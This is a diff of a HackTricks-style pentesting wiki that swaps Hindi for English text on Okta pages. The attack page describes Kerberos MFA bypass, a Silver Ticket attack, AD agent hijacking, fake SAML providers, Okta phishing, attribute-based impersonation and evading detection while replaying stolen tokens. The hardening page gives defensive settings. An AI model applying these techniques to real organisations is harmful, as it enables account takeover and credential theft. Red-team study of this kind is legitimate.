> The most powerful role is **Super Administrator**.
|
||||
>
|
||||
> यदि एक हमलावर Okta को व्यवस्थापक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** हो जाएंगे।
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
|
||||
## हमले
|
||||
## Attacks
|
||||
|
||||
### Okta पोर्टल का पता लगाना
|
||||
### Locating Okta Portal
|
||||
|
||||
आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** को आजमाएं। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है।
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
|
||||
### Kerberos के माध्यम से Okta में लॉगिन
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-प्रमाणित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, इसे नियंत्रित होस्ट में **Rubeus** या **Mimikatz** जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्प "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है।
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
|
||||
**Okta सेवा खाते को समझौता करना और प्रतिनिधित्व SPN एक सिल्वर टिकट हमले को सक्षम करता है।** हालाँकि, Okta का **AES** का उपयोग टिकट एन्क्रिप्शन के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड की आवश्यकता होती है। **`ticketer.py` का उपयोग करें पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न करने के लिए** और इसे Okta के साथ प्रमाणित करने के लिए ब्राउज़र के माध्यम से वितरित करें।
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
|
||||
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta AD एजेंट का हाइजैकिंग
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से **DPAPI** का उपयोग करके AgentToken, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान **उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का उत्तर देने की अनुमति भी देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे एक 'स्केलेटन की')।
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
|
||||
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### AD को व्यवस्थापक के रूप में हाइजैक करना
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
यह तकनीक पहले एक OAuth कोड प्राप्त करके Okta AD एजेंट को हाइजैक करने से संबंधित है, फिर एक API टोकन का अनुरोध करना। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित** करने की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं।
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
|
||||
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta फेक SAML प्रदाता
|
||||
### Okta Fake SAML Provider
|
||||
|
||||
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, इच्छानुसार किसी भी प्रमाणीकरण अनुरोध को मंजूरी दे सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है।
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
|
||||
### Evilgnix के साथ Okta पोर्टल का फ़िशिंग
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
[**इस ब्लॉग पोस्ट**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) में बताया गया है कि Okta पोर्टल के खिलाफ फ़िशिंग अभियान कैसे तैयार करें।
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
|
||||
### सहयोगी अनुकरण हमला
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
**प्रत्येक उपयोगकर्ता के पास होने और संशोधित करने के लिए विशेषताएँ** (जैसे ईमेल या पहला नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में **अन्य उपयोगकर्ताओं का अनुकरण** करने में सक्षम होगा।
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
|
||||
इसलिए, यदि अनुप्रयोग **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और इसका अनुकरण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)।
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
|
||||
ध्यान दें कि यह अनुकरण इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\
|
||||
इसलिए, यदि यह फ़ील्ड मौजूद है तो अनुप्रयोग को इसे सक्षम करना चाहिए:
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
मैंने अन्य अनुप्रयोगों को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न अनुप्रयोगों को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)।
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
|
||||
यह जानने का सबसे अच्छा तरीका कि क्या आप प्रत्येक अनुप्रयोग पर किसी का अनुकरण कर सकते हैं, इसे आजमाना होगा!
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
|
||||
## व्यवहारिक पहचान नीतियों से बचना <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन उन्हें **प्रत्यक्ष रूप से Okta अनुप्रयोगों को लक्षित करके** बायपास किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं।
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
|
||||
मुख्य सिफारिशों में शामिल हैं:
|
||||
Key recommendations include:
|
||||
|
||||
- **लोकप्रिय एनोनिमाइज़र प्रॉक्सी और VPN सेवाओं का उपयोग करने से बचें** जब कैप्चर किए गए एक्सेस टोकन को पुनः चलाते हैं।
|
||||
- सुनिश्चित करें कि **क्लाइंट और पुनः चलाए गए एक्सेस टोकनों के बीच उपयोगकर्ता-एजेंट स्ट्रिंग्स** सुसंगत हैं।
|
||||
- **एक ही IP पते से विभिन्न उपयोगकर्ताओं के टोकनों को पुनः चलाने से बचें**।
|
||||
- Okta डैशबोर्ड के खिलाफ टोकनों को पुनः चलाते समय सावधानी बरतें।
|
||||
- यदि पीड़ित कंपनी के IP पते के बारे में पता है, तो **उन IPs या उनके रेंज तक ट्रैफ़िक को सीमित करें**, सभी अन्य ट्रैफ़िक को ब्लॉक करें।
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
|
||||
## Okta हार्डनिंग
|
||||
## Okta Hardening
|
||||
|
||||
Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा कर सकते हैं कि वे यथासंभव सुरक्षित हों:
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS)।
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
|
||||
एक व्हाइटबॉक्स समीक्षा के लिए जांचें कि "**लंबित उपयोगकर्ता क्रिया**" और "**पासवर्ड रीसेट**" नहीं हैं।
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
|
||||
### Groups
|
||||
|
||||
यहां आप Okta में बनाए गए सभी समूहों को पाएंगे। यह समझना दिलचस्प है कि विभिन्न समूहों (**अनुमतियों** का सेट) को **उपयोगकर्ताओं** को दिया जा सकता है।\
|
||||
यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** क्या हैं।
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
|
||||
बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह पता चल सके कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं।
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
|
||||
एक व्हाइटबॉक्स समीक्षा से, **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)।
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
|
||||
### Devices
|
||||
|
||||
यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** प्राप्त करें। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं।
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
यहां यह देखना संभव है कि कैसे प्रमुख जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जिसका उपयोग एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है।
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
|
||||
इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसकी पुष्टि करनी होगी)।
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
डायरेक्टरीज़ आपको मौजूदा स्रोतों से लोगों को आयात करने की अनुमति देती हैं। मुझे लगता है कि यहां आप अन्य डायरेक्टरीज़ से आयातित उपयोगकर्ताओं को देखेंगे।
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
|
||||
मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं में कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता कर सकें**।
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
एक प्रोफाइल स्रोत एक **ऐसा अनुप्रयोग है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्य का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही अनुप्रयोग या डायरेक्टरी द्वारा स्रोत किया जा सकता है।
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
|
||||
मैंने इसे नहीं देखा है, इसलिए इस विकल्प के संबंध में सुरक्षा और हैकिंग के बारे में कोई भी जानकारी सराहनीय है।
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
इस अनुभाग के **Domains** टैब में जांचें कि ईमेल पते क्या हैं जो ईमेल भेजने के लिए उपयोग किए जाते हैं और कंपनी का Okta में कस्टम डोमेन (जिसे आप शायद पहले से जानते हैं)।
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
|
||||
इसके अलावा, **Setting** टैब में, यदि आप व्यवस्थापक हैं, तो आप "**कस्टम साइन-आउट पृष्ठ का उपयोग करें**" और एक कस्टम URL सेट कर सकते हैं।
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
|
||||
### SMS
|
||||
|
||||
यहां कुछ दिलचस्प नहीं है।
|
||||
Nothing interesting here.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
आप यहां कॉन्फ़िगर किए गए अनुप्रयोगों को पा सकते हैं, लेकिन हम बाद में एक अलग अनुभाग में उनके विवरण देखेंगे।
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
|
||||
### Other
|
||||
|
||||
दिलचस्प सेटिंग, लेकिन सुरक्षा के दृष्टिकोण से कुछ सुपर दिलचस्प नहीं है।
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
यहां आप सभी **कॉन्फ़िगर किए गए अनुप्रयोगों** और उनके विवरण को पा सकते हैं: किसके पास उन तक पहुंच है, यह कैसे कॉन्फ़िगर किया गया है (SAML, OPenID), लॉगिन के लिए URL, Okta और अनुप्रयोग के बीच मैपिंग...
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
|
||||
**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से किसी अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें:
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
और आप ऐप के बारे में कुछ और विवरण देख सकते हैं (जैसे पासवर्ड प्रकट करने की सुविधा, यदि यह सक्षम है):
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,121 +79,124 @@
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को मंजूरी या रद्द कर सकें।
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
|
||||
मैंने इसका उपयोग होते नहीं देखा है, लेकिन मुझे लगता है कि एक रक्षात्मक दृष्टिकोण से यह एक अच्छा फीचर है।
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **सुरक्षा सूचना ईमेल**: सभी को सक्षम होना चाहिए।
|
||||
- **CAPTCHA एकीकरण**: कम से कम अदृश्य reCaptcha सेट करना अनुशंसित है
|
||||
- **संगठन सुरक्षा**: सब कुछ सक्षम किया जा सकता है और सक्रियण ईमेल को लंबे समय तक नहीं रहना चाहिए (7 दिन ठीक है)
|
||||
- **उपयोगकर्ता गणना रोकथाम**: दोनों को सक्षम होना चाहिए
|
||||
- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें):
|
||||
- स्व-सेवा पंजीकरण
|
||||
- ईमेल प्रमाणीकरण के साथ JIT प्रवाह
|
||||
- **Okta ThreatInsight सेटिंग्स**: खतरे के स्तर के आधार पर सुरक्षा को लॉग और लागू करें
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
|
||||
### HealthInsight
|
||||
|
||||
यहां सही और **खतरनाक** कॉन्फ़िगर की गई **सेटिंग्स** को ढूंढना संभव है।
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
|
||||
### Authenticators
|
||||
|
||||
यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जिनका उपयोग एक उपयोगकर्ता कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है।
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
|
||||
**Enrollment** टैब में आप देख सकते हैं कि कौन से आवश्यक या वैकल्पिक हैं:
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
फोन को अक्षम करना अनुशंसित है। सबसे मजबूत संभवतः पासवर्ड, ईमेल और WebAuthn का संयोजन है।
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
हर ऐप की एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने का प्रयास कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है।
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
|
||||
यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएँ** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं।
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
यहां आप विभिन्न समूहों को असाइन की गई सत्र नीतियों को पा सकते हैं। उदाहरण के लिए:
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना (यदि यह संभव है) अनुशंसित है। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं।
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
पहचान प्रदाता (IdPs) सेवाएँ हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को एक सामाजिक खाते या स्मार्ट कार्ड के साथ पहले प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है।
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
|
||||
पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को संदर्भ के आधार पर IdP पर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन।
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
|
||||
